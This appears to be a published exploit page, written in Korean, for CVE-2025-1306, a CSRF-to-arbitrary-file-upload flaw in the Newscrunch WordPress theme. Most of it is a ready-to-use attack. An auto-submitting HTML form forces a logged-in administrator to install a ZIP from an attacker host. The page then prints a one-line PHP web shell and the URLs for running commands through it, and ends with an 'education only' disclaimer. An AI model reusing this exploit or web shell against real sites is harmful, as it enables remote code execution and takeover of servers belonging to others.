
Newscrunch <= 1.8.4 - 사이트 간 요청 위조를 통한 임의 파일 업로드
이 익스플로잇은 Newscrunch WordPress 테마의 사이트 간 요청 위조(CSRF)를 통한 임의 파일 업로드 취약점(CVE-2025-1306)을 대상으로 합니다. newscrunch_install_and_activate_plugin() 함수에 nonce 검증이 누락되어 있어, 비인증 공격자가 로그인된 관리자를 속여 서버에 임의 파일을 업로드하게 만들 수 있으며, 이로 인해 원격 코드 실행(RCE) 이 발생할 수 있습니다.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H악용 가능성: 관리자가 조작된 악성 링크를 방문해야 합니다.
이 익스플로잇은 인증된 관리자가 웹 셸이 포함된 악성 ZIP 파일을 업로드하는 CSRF 공격을 실행하도록 강제합니다.
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit CVE-2025-1306 By Nxploit ,Khaled AlEnazi</title>
</head>
<body>
<h2>Click anywhere to load content...</h2>
<script>
function sendExploit() {
var form = document.createElement("form");
form.method = "POST";
form.action = "http://target.com/wp-admin/admin-ajax.php?action=newscrunch_install_activate_plugin";
var input = document.createElement("input");
input.type = "hidden";
input.name = "plugin_url";
input.value = "http://attacker.com/shell.zip";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
window.onload = function() {
sendExploit();
};
</script>
</body>
</html>
📌 다음 항목을 교체하세요:
http://target.com/ → 취약한 WordPress 사이트 URLhttp://attacker.com/shell.zip → 웹 셸이 포함된 악성 ZIP 페이로드 URL<?php system($_GET['cmd']); ?>
📌 성공적인 악용 후, 셸에 접근하세요:
http://target.com/wp-content/plugins/shell.php?cmd=whoami
http://target.com/wp-content/plugins/shell.php?cmd=ls
이 도구는 교육 및 보안 연구 목적으로만 제공됩니다. 허가 없는 취약점 악용은 불법이며 법률에 따라 처벌될 수 있습니다. 작성자는 이 도구로 인한 오용 또는 손해에 대해 책임을 지지 않습니다. 책임감 있게 사용하세요.